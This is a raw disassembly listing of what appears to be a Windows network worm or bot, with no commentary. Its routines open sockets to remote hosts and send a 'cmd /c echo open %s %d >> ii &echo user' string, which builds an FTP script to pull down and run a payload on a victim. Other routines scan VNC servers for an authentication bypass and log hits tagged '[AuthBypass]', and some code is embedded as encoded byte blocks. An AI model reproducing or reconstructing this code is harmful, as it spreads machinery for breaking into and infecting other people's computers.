mov byte ptr [ebp-0B8h], 5
pop eax
mov [ebp-0B7h], bl
push 1
mov [ebp-0B4h], eax
pop edi
mov byte ptr [ebp-0B6h], 0Bh
push eax
lea eax, [ebp-98h]
push offset dword_43221C
push eax
mov byte ptr [ebp-0B5h], 3
mov word ptr [ebp-0B0h], 48h
mov [ebp-0AEh], bx
mov [ebp-0ACh], ebx
mov word ptr [ebp-0A8h], 10B8h
mov word ptr [ebp-0A6h], 10B8h
mov [ebp-0A4h], ebx
mov [ebp-0A0h], edi
mov [ebp-9Ch], bx
mov byte ptr [ebp-9Ah], 1
call sub_41C310
push 10h
lea eax, [ebp-84h]
push offset dword_432208
push eax
mov dword ptr [ebp-88h], 3
call sub_41C310
add esp, 24h
lea eax, [ebp-0BCh]
mov dword ptr [ebp-74h], 2
push ebx
push eax
lea eax, [ebp-0B8h]
push 48h
push eax
push dword ptr [ebp-4]
call near ptr 26E0000h
nop
test eax, eax
jnz short loc_40DB34
loc_40DB26: ; CODE XREF: ___:0040DC00j
push dword ptr [ebp-4]
nop
call near ptr 265098Dh
jmp loc_40DA50
; ---------------------------------------------------------------------------
loc_40DB34: ; CODE XREF: ___:0040DB24j
lea eax, [ebp-14h]
push ebx
push eax
lea eax, [ebp-60DCh]
push esi
push eax
push dword ptr [ebp-4]
nop
call near ptr 26F0000h
push ebx
call sub_41D081
push eax
call sub_41B8D8
push 14h
lea eax, [ebp-70h]
push 41h
push eax
call sub_41B590
push 1Ch
lea eax, [ebp-30h]
push 41h
push eax
call sub_41B590
add esp, 20h
call sub_41B8E2
mov esi, [ebp+0Ch]
mov [ebp-70h], eax
mov [ebp-64h], edi
mov [ebp-68h], ebx
lea esi, [esi+esi*4]
mov [ebp-6Ch], edi
shl esi, 2
mov [ebp-60h], bx
cmp byte_4321B0[esi], bl
jz short loc_40DBAB
push 4
mov [ebp-24h], edi
mov [ebp-28h], ebx
mov [ebp-2Ch], edi
push offset dword_4CDC9C
jmp short loc_40DBBE
; ---------------------------------------------------------------------------
loc_40DBAB: ; CODE XREF: ___:0040DB97j
push 2
mov [ebp-28h], ebx
pop eax
push 4
mov [ebp-24h], eax
mov [ebp-2Ch], eax
push (offset loc_4321FF+1)
loc_40DBBE: ; CODE XREF: ___:0040DBA9j
lea eax, [ebp-20h]
push eax
call sub_41C310
add esp, 0Ch
call sub_41B8E2
mov edi, 0FAh
cdq
mov ecx, edi
idiv ecx
inc edx
mov [ebp-30h], edx
call sub_41B8E2
cdq
idiv edi
mov eax, dword_4321A4[esi]
mov [ebp-18h], ebx
push eax
mov [ebp+8], eax
inc edx
mov [ebp-1Ch], edx
call sub_41B4D5
mov edi, eax
pop ecx
cmp edi, ebx
jz loc_40DB26
mov eax, [ebp+8]
add eax, 0FFFFFFFEh
push eax
push 90h
push edi
call sub_41B590
mov eax, [ebp+8]
push 2
push ebx
lea eax, [edi+eax-2]
push eax
call sub_41B590
mov eax, dword_4321AC[esi]
push 7
add eax, edi
push offset dword_432198
push eax
mov [ebp+0Ch], eax
call sub_41C310
mov eax, [ebp+0Ch]
push 15Ch
add eax, 7
push offset dword_432038
push eax
call sub_41C310
mov eax, dword_4321A8[esi]
add esp, 30h
cmp byte_4321B0[esi], bl
mov [ebp+0Ch], eax
jz short loc_40DCB7
push 4
add eax, edi
push offset dword_4CDC94
push eax
call sub_41C310
add dword ptr [ebp+0Ch], 0Ch
mov esi, offset dword_4321C8
mov eax, [ebp+0Ch]
push 4
add eax, edi
push esi
push eax
call sub_41C310
mov eax, [ebp+0Ch]
push 4
push esi
lea eax, [eax+edi+24h]
push eax
mov [ebp+0Ch], eax
call sub_41C310
mov eax, [ebp+0Ch]
push 4
add eax, 0Ch
push esi
push eax
call sub_41C310
add esp, 30h
jmp short loc_40DCDF
; ---------------------------------------------------------------------------
loc_40DCB7: ; CODE XREF: ___:0040DC68j
add eax, edi
mov dword ptr [ebp-8], 10h
mov [ebp+0Ch], eax
mov esi, offset dword_4321C8
loc_40DCC8: ; CODE XREF: ___:0040DCDDj
push 4
push esi
push dword ptr [ebp+0Ch]
call sub_41C310
add dword ptr [ebp+0Ch], 4
add esp, 0Ch
dec dword ptr [ebp-8]
jnz short loc_40DCC8
loc_40DCDF: ; CODE XREF: ___:0040DCB5j
mov eax, [ebp+8]
add eax, 42h
push eax
call sub_41B4D5
mov esi, eax
pop ecx
cmp esi, ebx
mov [ebp-8], esi
jnz short loc_40DD0A
push dword ptr [ebp-4]
call near ptr 265098Dh
nop
push edi
call sub_41B0B1
pop ecx
jmp loc_40DA50
; ---------------------------------------------------------------------------
loc_40DD0A: ; CODE XREF: ___:0040DCF3j
mov eax, [ebp+8]
add eax, 42h
push eax
push ebx
push esi
call sub_41B590
lea eax, [ebp-70h]
push 14h
push eax
push esi
call sub_41C310
mov eax, [ebp+8]
mov [ebp-0Ch], ebx
mov [ebp-10h], eax
add esp, 10h
fild qword ptr [ebp-10h]
fmul flt_4276AC
fstp qword ptr [esp]
call sub_41C7BF
call sub_41C798
push dword ptr [ebp+8]
mov [esi+1Ch], eax
mov [esi+18h], ebx
mov eax, [esi+1Ch]
mov [esi+14h], eax
lea eax, [esi+20h]
push edi
push eax
call sub_41C310
mov eax, [ebp+8]
add esp, 14h
add eax, 20h
test al, 3
mov [ebp+0Ch], eax
jz short loc_40DD77
loc_40DD6F: ; CODE XREF: ___:0040DD72j
inc eax
test al, 3
jnz short loc_40DD6F
mov [ebp+0Ch], eax
loc_40DD77: ; CODE XREF: ___:0040DD6Dj
lea ecx, [ebp-30h]
push 1Ch
add eax, esi
push ecx
push eax
call sub_41C310
add dword ptr [ebp+0Ch], 1Ch
push edi
call sub_41B0B1
push 18h
lea eax, [ebp-48h]
push ebx
push eax
call sub_41B590
push 14h
lea eax, [ebp-5Ch]
push ebx
push eax
mov byte ptr [ebp-48h], 5
mov [ebp-47h], bl
mov [ebp-46h], bl
mov byte ptr [ebp-45h], 3
mov dword ptr [ebp-44h], 10h
mov [ebp-3Eh], bx
mov [ebp-3Ch], ebx
mov [ebp-34h], bx
mov word ptr [ebp-32h], 1Fh
call sub_41B590
add esp, 28h
push ebx
push ebx
push 1
push ebx
nop
call near ptr 26E07BCh
mov [ebp-4Ch], eax
mov [ebp+0Bh], bl
mov [ebp-0Ch], ebx
loc_40DDE4: ; CODE XREF: ___:0040DE6Ej
cmp dword ptr [ebp-0Ch], 2
jge loc_40DE79
push 1
push 10B8h
push dword ptr [ebp+0Ch]
inc dword ptr [ebp-0Ch]
push esi
lea esi, [ebp-48h]
sub esp, 18h
push 6
pop ecx
mov edi, esp
push dword ptr [ebp-4]
rep movsd
call sub_40D8AD
add esp, 2Ch
test al, al
jz short loc_40DE76
cmp [ebp-4Ch], ebx
jz short loc_40DE68
lea eax, [ebp-5Ch]
push eax
lea eax, [ebp-14h]
push eax
lea eax, [ebp-60DCh]
push 2000h
push eax
push dword ptr [ebp-4]
nop
call near ptr 26F0000h
test eax, eax
jnz short loc_40DE4F
call near ptr 2670D70h
nop
cmp eax, 3E5h
jnz loc_40DA50
loc_40DE4F: ; CODE XREF: ___:0040DE3Cj
push 3E8h
push dword ptr [ebp-4Ch]
call near ptr 268064Ah
nop
cmp eax, 102h
jnz short loc_40DE68
mov byte ptr [ebp+0Bh], 1
loc_40DE68: ; CODE XREF: ___:0040DE1Bj
; ___:0040DE62j
cmp [ebp+0Bh], bl
mov esi, [ebp-8]
jz loc_40DDE4
jmp short loc_40DE79
; ---------------------------------------------------------------------------
loc_40DE76: ; CODE XREF: ___:0040DE16j
mov esi, [ebp-8]
loc_40DE79: ; CODE XREF: ___:0040DDE8j
; ___:0040DE74j
push dword ptr [ebp-4]
mov edi, dword_427068
call edi
push esi
call sub_41B0B1
cmp [ebp-4Ch], ebx
pop ecx
jz short loc_40DE95
push dword ptr [ebp-4Ch]
call edi
loc_40DE95: ; CODE XREF: ___:0040DE8Ej
cmp [ebp+0Bh], bl
setnz al
loc_40DE9B: ; CODE XREF: ___:0040DA52j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
db 55h ; U
db 8Bh ; ▀
db 0ECh ; Л
db 81h ; │
db 0ECh ; Л
db 0A0h ; ═
db 5
db 0
db 0
db 53h ; S
db 56h ; V
db 57h ; W
db 33h ; 3
db 0F6h ; Ж
db 6Ah ; j
db 10h
db 8Dh ; █
db 45h ; E
db 0F0h ; П
db 56h ; V
db 50h ; P
db 0E8h ; Х
db 0D6h ; ж
db 0D6h ; ж
db 0
db 0
db 83h ; ┐
db 0C4h ; д
db 0Ch
db 8Dh ; █
db 45h ; E
db 0Ch
db 66h ; f
db 0C7h ; г
db 45h ; E
db 0F0h ; П
db 2
db 0
db 50h ; P
db 90h ; ░
db 0E8h ; Х
db 2Bh ; +
db 34h ; 4
db 6Ah ; j
db 71h ; q
db 0FFh
db 0B5h ; ╣
db 0C4h ; д
db 0
db 0
db 0
db 89h ; ┴
db 45h ; E
db 0F4h ; Т
db 90h ; ░
db 0E8h ; Х
db 6Ah ; j
db 38h ; 8
db 6Ah ; j
db 71h ; q
db 56h ; V
db 6Ah ; j
db 1
db 6Ah ; j
db 2
db 66h ; f
db 89h ; ┴
db 45h ; E
db 0F2h ; Р
db 90h ; ░
db 0E8h ; Х
db 37h ; 7
db 5Dh ; ]
db 6Ah ; j
db 71h ; q
db 8Bh ; ▀
db 0D8h ; ь
db 83h ; ┐
db 0FBh ; Ш
db 0FFh
db 74h ; t
db 7Ch ; |
db 8Dh ; █
db 45h ; E
db 0F0h ; П
db 6Ah ; j
db 10h
db 50h ; P
db 53h ; S
db 90h ; ░
db 0E8h ; Х
db 5Eh ; ^
db 5Fh ; _
db 6Ah ; j
db 71h ; q
db 83h ; ┐
db 0F8h ; Ь
db 0FFh
db 74h ; t
db 6Ah ; j
db 0BFh ; ©
db 0
db 4
db 0
db 0
db 56h ; V
db 8Bh ; ▀
db 35h ; 5
db 18h
db 72h ; r
db 42h ; B
db 0
db 8Dh ; █
db 85h ; ┘
db 60h ; `
db 0FAh ; З
db 0FFh
db 0FFh
db 57h ; W
db 50h ; P
db 53h ; S
db 0FFh
db 0D6h ; ж
db 0B8h ; ╦
db 8
db 91h ; ▒
db 42h ; B
db 0
db 50h ; P
db 50h ; P
db 0FFh
db 35h ; 5
db 0B0h ; ╟
db 0ACh ; ╛
db 4Ch ; L
db 0
db 0FFh
db 75h ; u
db 8
db 0E8h ; Х
db 0DFh ; ъ
db 0CCh ; л
db 0FFh
db 0FFh
db 59h ; Y
db 50h ; P
db 68h ; h
db 50h ; P
db 22h ; "
db 43h ; C
db 0
db 8Dh ; █
db 85h ; ┘
db 60h ; `
db 0FEh ; Ч
db 0FFh
db 0FFh
db 68h ; h
db 90h ; ░
db 1
db 0
db 0
db 50h ; P
db 0E8h ; Х
db 38h ; 8
db 0DAh ; з
db 0
db 0
db 83h ; ┐
db 0C4h ; д
db 1Ch
db 8Dh ; █
db 85h ; ┘
db 60h ; `
db 0FEh ; Ч
db 0FFh
db 0FFh
db 6Ah ; j
db 0
db 50h ; P
db 0E8h ; Х
db 87h ; ┤
db 0D0h ; п
db 0
db 0
db 59h ; Y
db 50h ; P
db 8Dh ; █
db 85h ; ┘
db 60h ; `
db 0FEh ; Ч
db 0FFh
db 0FFh
db 50h ; P
db 53h ; S
db 90h ; ░
db 0E8h ; Х
db 8Bh ; ▀
db 3Bh ; ;
db 6Ah ; j
db 71h ; q
db 83h ; ┐
db 0F8h ; Ь
db 0FFh
db 75h ; u
db 4
db 33h ; 3
db 0C0h ; ю
db 0EBh ; К
db 17h
db 6Ah ; j
db 0
db 8Dh ; █
db 85h ; ┘
db 60h ; `
db 0FAh ; З
db 0FFh
db 0FFh
db 57h ; W
db 50h ; P
db 53h ; S
db 0FFh
db 0D6h ; ж
db 53h ; S
db 0E8h ; Х
db 0E8h ; Х
db 3Ah ; :
db 6Ah ; j
db 71h ; q
db 90h ; ░
db 6Ah ; j
db 1
db 58h ; X
db 5Fh ; _
db 5Eh ; ^
db 5Bh ; [
db 0C9h ; и
db 0C3h ; ц
dw 5653h
dd 8DDB3357h, 53142444h, 0F9FDE850h, 8459FFFFh, 227459C0h
dd 748D656Ah, 0EC811424h, 0BCh, 8B592F6Ah, 0E8A5F3FCh
dd 0FFFFFEE4h, 0C0C481h, 0C0850000h, 0DB851575h, 0D0680B75h
dd 0E8000007h, 22623E7h, 0FB834390h, 6AB87202h, 5E5F5801h
; ---------------------------------------------------------------------------
pop ebx
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40DFE2 proc near ; CODE XREF: sub_40E0D0+91p
var_5A0 = byte ptr -5A0h
var_1A0 = byte ptr -1A0h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
arg_BC = dword ptr 0C4h
push ebp
mov ebp, esp
sub esp, 5A0h
push ebx
push esi
push edi
xor esi, esi
push 10h
lea eax, [ebp+var_10]
push esi
push eax
call sub_41B590
add esp, 0Ch
lea eax, [ebp+arg_4]
mov [ebp+var_10], 2
push eax
nop
call near ptr 71AB12F8h
push [ebp+arg_BC]
mov [ebp+var_C], eax
call near ptr 71AB1746h
nop
push esi
push 1
push 2
mov [ebp+var_E], ax
nop
call near ptr 71AB3C22h
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz short loc_40E0B0
lea eax, [ebp+var_10]
push 10h
push eax
push ebx
nop
call near ptr 71AB3E5Dh
cmp eax, 0FFFFFFFFh
jz short loc_40E0B0
mov edi, 400h
push esi
mov esi, dword_427218
lea eax, [ebp+var_5A0]
push edi
push eax
push ebx
call esi ; recv
mov eax, offset byte_429108
push eax
push eax
push dword_4CACB0
push [ebp+arg_0]
call sub_40AC0F
pop ecx
push eax
push offset aCmdCEchoOpen_0 ; "cmd /c echo open %s %d >> ii &echo user"...
lea eax, [ebp+var_1A0]
push 190h
push eax
call sub_41B980
add esp, 1Ch
lea eax, [ebp+var_1A0]
push 0
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+var_1A0]
push eax
push ebx
nop
call near ptr 71AB1AF4h
cmp eax, 0FFFFFFFFh
jnz short loc_40E0B4
loc_40E0B0: ; CODE XREF: sub_40DFE2+50j
; sub_40DFE2+62j
xor eax, eax
jmp short loc_40E0CB
; ---------------------------------------------------------------------------
loc_40E0B4: ; CODE XREF: sub_40DFE2+CCj
push 0
lea eax, [ebp+var_5A0]
push edi
push eax
push ebx
call esi ; recv
push ebx
nop
call near ptr 71AB1A6Dh
push 1
pop eax
loc_40E0CB: ; CODE XREF: sub_40DFE2+D0j
pop edi
pop esi
pop ebx
leave
retn
sub_40DFE2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40E0D0 proc near ; CODE XREF: sub_40C124+1EAp
; DATA XREF: ___:off_43140Co
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = byte ptr 8
arg_4 = byte ptr 0Ch
arg_A0 = dword ptr 0A8h
arg_A8 = dword ptr 0B0h
push ebp
mov ebp, esp
sub esp, 10h
push esi
lea eax, [ebp+arg_4]
push edi
push eax
mov [ebp+var_10], 2
call dword_4CAFB4
push [ebp+arg_A0]
mov [ebp+var_C], eax
call dword_4CAF74
push 6
push 1
push 2
mov [ebp+var_E], ax
nop
call near ptr 71AB3C22h
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_40E142
lea eax, [ebp+var_10]
push 10h
push eax
push esi
nop
call near ptr 71AB3E5Dh
cmp eax, 0FFFFFFFFh
jnz short loc_40E123
push esi
jmp short loc_40E13C
; ---------------------------------------------------------------------------
loc_40E123: ; CODE XREF: sub_40E0D0+4Ej
push 0
push 1213h
push offset dword_4322C4
push esi
nop
call near ptr 71AB1AF4h
cmp eax, 0FFFFFFFFh
push esi
jnz short loc_40E146
loc_40E13C: ; CODE XREF: sub_40E0D0+51j
nop
call near ptr 71AB1A6Dh
loc_40E142: ; CODE XREF: sub_40E0D0+3Cj
xor eax, eax
jmp short loc_40E188
; ---------------------------------------------------------------------------
loc_40E146: ; CODE XREF: sub_40E0D0+6Aj
call near ptr 71AB1A6Dh
nop
push 216Bh
lea esi, [ebp+arg_0]
sub esp, 0BCh
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_40DFE2
add esp, 0C0h
test eax, eax
jz short loc_40E185
mov eax, [ebp+arg_A8]
shl eax, 6
inc dword_431410[eax]
lea eax, dword_431410[eax]
loc_40E185: ; CODE XREF: sub_40E0D0+9Ej
push 1
pop eax
loc_40E188: ; CODE XREF: sub_40E0D0+74j
pop edi
pop esi
leave
retn
sub_40E0D0 endp
; =============== S U B R O U T I N E =======================================
sub_40E18C proc near ; CODE XREF: ___:0040E27Ap
; ___:0040E2DCp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
push edi
mov edi, [esp+8+arg_8]
xor esi, esi
loc_40E194: ; CODE XREF: sub_40E18C+2Dj
test edi, edi
jle short loc_40E1BF
mov eax, [esp+8+arg_4]
push 0
add eax, esi
push edi
push eax
push [esp+14h+arg_0]
call dword_4CAF8C
test eax, eax
jz short loc_40E1BB
cmp eax, 0FFFFFFFFh
jz short loc_40E1BB
sub edi, eax
add esi, eax
jmp short loc_40E194
; ---------------------------------------------------------------------------
loc_40E1BB: ; CODE XREF: sub_40E18C+22j
; sub_40E18C+27j
xor eax, eax
jmp short loc_40E1C2
; ---------------------------------------------------------------------------
loc_40E1BF: ; CODE XREF: sub_40E18C+Aj
push 1
pop eax
loc_40E1C2: ; CODE XREF: sub_40E18C+31j
pop edi
pop esi
retn
sub_40E18C endp
; =============== S U B R O U T I N E =======================================
sub_40E1C5 proc near ; CODE XREF: ___:0040E2C6p
; ___:0040E2F3p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
push edi
mov edi, [esp+8+arg_8]
test edi, edi
jz short loc_40E202
xor esi, esi
test edi, edi
jle short loc_40E1FC
loc_40E1D5: ; CODE XREF: sub_40E1C5+35j
mov eax, edi
push 0
sub eax, esi
push eax
mov eax, [esp+10h+arg_4]
add eax, esi
push eax
push [esp+14h+arg_0]
call dword_4CAFC4
cmp eax, 0FFFFFFFFh
jz short loc_40E202
test eax, eax
jz short loc_40E202
add esi, eax
cmp esi, edi
jl short loc_40E1D5
loc_40E1FC: ; CODE XREF: sub_40E1C5+Ej
push 1
pop eax
loc_40E1FF: ; CODE XREF: sub_40E1C5+3Fj
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_40E202: ; CODE XREF: sub_40E1C5+8j
; sub_40E1C5+2Bj ...
xor eax, eax
jmp short loc_40E1FF
sub_40E1C5 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 24Ch
push ebx
mov ax, word_433508
push esi
push edi
push 0
push 1
push 2
mov [ebp-2], ax
pop esi
push esi
call dword_4CAFF4
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jnz short loc_40E234
push eax
jmp short loc_40E268
; ---------------------------------------------------------------------------
loc_40E234: ; CODE XREF: ___:0040E22Fj
lea eax, [ebp+0Ch]
push eax
call dword_4CAFB4
push dword ptr [ebp+0A8h]
mov [ebp-48h], eax
mov [ebp-4Ch], si
call dword_4CAF74
mov [ebp-4Ah], ax
lea eax, [ebp-4Ch]
push 10h
push eax
push ebx
call dword_4CAF1C
cmp eax, 0FFFFFFFFh
jnz short loc_40E273
push ebx
loc_40E268: ; CODE XREF: ___:0040E232j
call dword_4CB00C
jmp loc_40E46E
; ---------------------------------------------------------------------------
loc_40E273: ; CODE XREF: ___:0040E265j
lea eax, [ebp-38h]
push 0Ch
push eax
push ebx
call sub_40E18C
add esp, 0Ch
test eax, eax
jz loc_40E467
lea eax, [ebp-20h]
and byte ptr [ebp-2Ch], 0
push eax
lea eax, [ebp-28h]
push eax
lea eax, [ebp-38h]
push offset aRfb03d_03d ; "RFB %03d.%03d\n"
push eax
call sub_41C645
add esp, 10h
cmp eax, esi
jnz loc_40E467
cmp dword ptr [ebp-28h], 3
jz short loc_40E2BF
cmp dword ptr [ebp-20h], 8
jnz loc_40E467
loc_40E2BF: ; CODE XREF: ___:0040E2B3j
lea eax, [ebp-38h]
push 0Ch
push eax
push ebx
call sub_40E1C5
add esp, 0Ch
test eax, eax
jz loc_40E467
lea eax, [ebp-3Ch]
push esi
push eax
push ebx
call sub_40E18C
add esp, 0Ch
test eax, eax
jz loc_40E467
lea eax, [ebp-2]
push 1
push eax
push ebx
call sub_40E1C5
add esp, 0Ch
test eax, eax
jz loc_40E467
lea eax, [ebp-24h]
push 4
push eax
push ebx
call sub_40E18C
add esp, 0Ch
test eax, eax
jz loc_40E467
mov eax, [ebp-24h]
mov edi, 0FF0000h
mov ecx, eax
mov edx, eax
and ecx, edi
mov esi, 0FF00h
shr edx, 10h
or ecx, edx
mov edx, eax
shl edx, 10h
and eax, esi
or edx, eax
shr ecx, 8
shl edx, 8
or ecx, edx
mov [ebp-24h], ecx
jnz loc_40E467
push 1
push offset dword_4CAE2C
push ebx
call sub_40E1C5
add esp, 0Ch
test eax, eax
jz loc_40E467
lea eax, [ebp-1Ch]
push 18h
push eax
push ebx
call sub_40E18C
add esp, 0Ch
test eax, eax
jz loc_40E467
xor eax, eax
mov ecx, [ebp-8]
mov al, [ebp-1Bh]
mov edx, ecx
mov ah, [ebp-1Ch]
mov [ebp-1Ch], ax
xor eax, eax
mov al, [ebp-19h]
mov ah, [ebp-1Ah]
mov [ebp-1Ah], ax
xor eax, eax
mov al, [ebp-13h]
mov ah, [ebp-14h]
mov [ebp-14h], ax
xor eax, eax
mov al, [ebp-11h]
mov ah, [ebp-12h]
mov [ebp-12h], ax
xor eax, eax
mov al, [ebp-0Fh]
mov ah, [ebp-10h]
mov [ebp-10h], ax
mov eax, ecx
and eax, edi
shr edx, 10h
or eax, edx
mov edx, ecx
shl edx, 10h
and ecx, esi
or edx, ecx
shr eax, 8
shl edx, 8
or eax, edx
mov [ebp-8], eax
add eax, 2
push eax
call sub_41CFC5
mov edi, [ebp-8]
pop ecx
test edi, edi
mov esi, eax
jle short loc_40E3F7
push edi
push esi
push ebx
call sub_40E18C
add esp, 0Ch
loc_40E3F7: ; CODE XREF: ___:0040E3EAj
and byte ptr [edi+esi], 0
lea eax, [ebp+0Ch]
push eax
push esi
push dword ptr [ebp-20h]
lea eax, [ebp-24Ch]
push dword ptr [ebp-28h]
push offset aVncD_DSSAuthby ; "VNC%d.%d %s: %s - [AuthBypass]"
push 200h
push eax
call sub_41B980
push 0
lea eax, [ebp-24Ch]
push dword ptr [ebp+0B8h]
push eax
lea eax, [ebp+1Ch]
push eax
push dword ptr [ebp+8]
call sub_409A72
lea eax, [ebp-24Ch]
push eax
call sub_4151AC
mov eax, [ebp+0B0h]
add esp, 34h
shl eax, 6
inc dword_431410[eax]
push ebx
lea eax, dword_431410[eax]
nop
call near ptr 71AB1A6Dh
push 1
pop eax
jmp short loc_40E470
; ---------------------------------------------------------------------------
loc_40E467: ; CODE XREF: ___:0040E284j
; ___:0040E2A9j ...
push ebx
nop
call near ptr 71AB1A6Dh
loc_40E46E: ; CODE XREF: ___:0040E26Ej
xor eax, eax
loc_40E470: ; CODE XREF: ___:0040E465j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 404h
loc_40E47E: ; CODE XREF: ___:0040E49Aj
; ___:0040E4B6j
push 0
lea eax, [ebp-404h]
push 400h
push eax
push dword_4CDCB4
call dword_4CAF8C
test eax, eax
jle short loc_40E47E
lea ecx, [ebp-4]
push 0
push ecx
push eax
lea eax, [ebp-404h]
push eax
push dword_4CDCB0
nop
call near ptr 26E0000h
jmp short loc_40E47E
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 404h
loc_40E4C1: ; CODE XREF: ___:0040E4E7j
; ___:0040E501j
lea eax, [ebp-4]
and dword ptr [ebp-4], 0
push 0
push eax
lea eax, [ebp-404h]
push 400h
push eax
push dword_4CDCA4
nop
call near ptr 26F0000h
cmp dword ptr [ebp-4], 0
jle short loc_40E4C1
push 0
lea eax, [ebp-404h]
push dword ptr [ebp-4]
push eax
push dword_4CDCB4
call dword_4CAFC4
jmp short loc_40E4C1
; ---------------------------------------------------------------------------
byte_40E503 db 55h ; DATA XREF: sub_401ACD+2D0Do
dword_40E504 dd 0EC81EC8Bh, 11Ch, 5308458Bh, 286A5756h, 8D59F08Bh, 0FFFEE4BDh
dd 6AA5F3FFh, 5EFF3301h, 98B089h, 106A0000h, 57C8458Dh
dd 0D05AE850h, 0C4830000h, 45C7660Ch, 0FF0002C8h, 0FFFF68B5h
dd 7415FFFFh, 6A004CAFh, 26A5606h, 0CA458966h, 0AFF415FFh
dd 4589004Ch, 0C8458D08h, 0FF50106Ah, 15FF0875h, 4CAFA0h
dd 75FF056Ah, 9C15FF08h, 8B004CAFh, 4270FC1Dh, 68358B00h
dd 57004270h, 875FF57h, 0B00815FFh, 0B4A3004Ch, 8D004CDCh
dd 5057F445h, 4CDCB068h, 0DCAC6800h, 45C7004Ch, 0CF4h
dd 0FC45C700h, 1, 0FFF87D89h, 0F4458DD3h, 0A8685057h, 68004CDCh
dd 4CDCA4h, 446AD3FFh, 5784458Dh, 0CFBEE850h, 0ACA10000h
dd 83004CDCh, 45890CC4h, 0DCA8A1BCh, 4589004Ch, 16A57C0h
dd 6AC4458Dh, 45C75002h, 4484h, 0B045C700h, 101h, 0B47D8966h
dd 1FDAE890h, 0FF50022Fh, 4CDCA835h, 0CDE89000h, 50022F1Fh
dd 19E6E890h, 458D022Fh, 458D50D8h, 57575084h, 9068h, 0F4458D04h
dd 8D50016Ah, 6850F445h, 43350Ch, 0C1E89057h, 8D022519h
dd 5750E845h, 0E4B86857h, 458D0040h, 905057F4h, 261DD9E8h
dd 0EC458902h, 50E8458Dh, 75685757h, 8D0040E4h, 5057F445h
dd 1DC0E890h, 0FF6A0226h, 0FFF04589h, 0E890D875h, 2271FCEh
dd 0F075FF57h, 26E5E890h, 0FF570227h, 0E890EC75h, 22726DBh
dd 0FFF075FFh, 0EC75FFD6h, 0FF57D6FFh, 0E890D875h, 22E2404h
dd 0DCAC35FFh, 0D6FF004Ch, 0DCB035FFh, 0D6FF004Ch, 0DCA435FFh
dd 0D6FF004Ch, 0DCA835FFh, 0D6FF004Ch, 0FFDC75FFh, 0D875FFD6h
dd 0B0E9D6FFh, 0E9FFFFFEh, 0
; ---------------------------------------------------------------------------
push 0FFFEh
push 400h
call sub_418684
pop ecx
mov dword_4CDCBC, eax
pop ecx
retn
; ---------------------------------------------------------------------------
byte_40E6EF db 55h ; DATA XREF: sub_40BACD+34Do
dd 0EC81EC8Bh, 6C0h, 5308458Bh, 276A5756h, 8D59F08Bh, 0FFFF50BDh
dd 6AA5F3FFh, 5EDB3301h, 98B089h, 106A0000h, 53EC458Dh
dd 0CE6EE850h, 0C4830000h, 45C7660Ch, 0FF0002ECh, 0FFFF5CB5h
dd 7415FFFFh, 53004CAFh, 66026A56h, 89EE4589h, 15FFF05Dh
dd 4CAFF4h, 0CE83F88Bh, 75FE3BFFh, 0E45D3945h, 8D532075h
dd 0FFFD4085h, 0E075FFFFh, 60858D50h, 50FFFFFFh, 0FF50B5FFh
dd 0FFE8FFFFh, 83FFFFB2h, 858D14C4h, 0FFFFFD40h, 6A2AE850h
dd 0B5FF0000h, 0FFFFFF54h, 0FFCC85E8h, 535959FFh, 186AE890h
dd 858B022Ch, 0FFFFFF54h, 0C069106Ah, 234h, 0DEBCB889h
dd 458D0043h, 0FF5750ECh, 4CAFA015h, 0BBC63B00h, 400h
dd 0CF850Fh, 15FF0000h, 4CAF08h, 27403Dh, 33477400h, 0E47539F6h
dd 8D562075h, 0FFFD4085h, 0E075FFFFh, 60858D50h, 50FFFFFFh
dd 0FF50B5FFh, 7FE8FFFFh, 83FFFFB2h, 858D14C4h, 0FFFFFD40h
dd 69AAE850h, 0B5FF0000h, 0FFFFFF54h, 0FFCC05E8h, 565959FFh
dd 2C17EBE8h, 0FE689002h, 530000FFh, 9E63E8h, 0BCA35900h
dd 59004CDCh, 0EE458966h, 6AEC458Dh, 0FF575010h, 4CAFA015h
dd 75C63B00h, 815FF54h, 33004CAFh, 0E47539F6h, 403D2775h
dd 74000027h, 858D5620h, 0FFFFFD40h, 50E075FFh, 0FF60858Dh
dd 0FF50FFFFh, 0FFFF50B5h, 0B204E8FFh, 0C483FFFFh, 40858D14h
dd 50FFFFFDh, 692FE8h, 54B5FF00h, 0E8FFFFFFh, 0FFFFCB8Ah
dd 0E8565959h, 22C1770h, 57056A90h, 0AF9C15FFh, 0C63B004Ch
dd 0D4840Fh, 45C70000h, 10FCh, 9108BE00h, 458D0042h, 858D50FCh
dd 0FFFFFF40h, 15FF5750h, 4CB008h, 89FFF883h, 0E6740845h
dd 0E47D83h, 6A2175h, 0FD40858Dh, 75FFFFFFh, 858D50E0h
dd 0FFFFFF60h, 50B5FF50h, 0E8FFFFFFh, 0FFFFB186h, 8D14C483h
dd 0FFFD4085h, 0B1E850FFh, 59000068h, 0FD40858Dh, 6AFFFFh
dd 20068h, 75FF5000h, 8C15FF08h, 83004CAFh, 9674FFF8h
dd 35FF5656h, 4CACB0h, 0FF50B5FFh, 0E4E8FFFFh, 59FFFFC2h
dd 35146850h, 858D0043h, 0FFFFF940h, 41E85053h, 830000D0h
dd 858D1CC4h, 0FFFFF940h, 0E850006Ah, 0C690h, 858D5059h
dd 0FFFFF940h, 875FF50h, 0AFC415FFh, 0F883004Ch, 43840FFFh
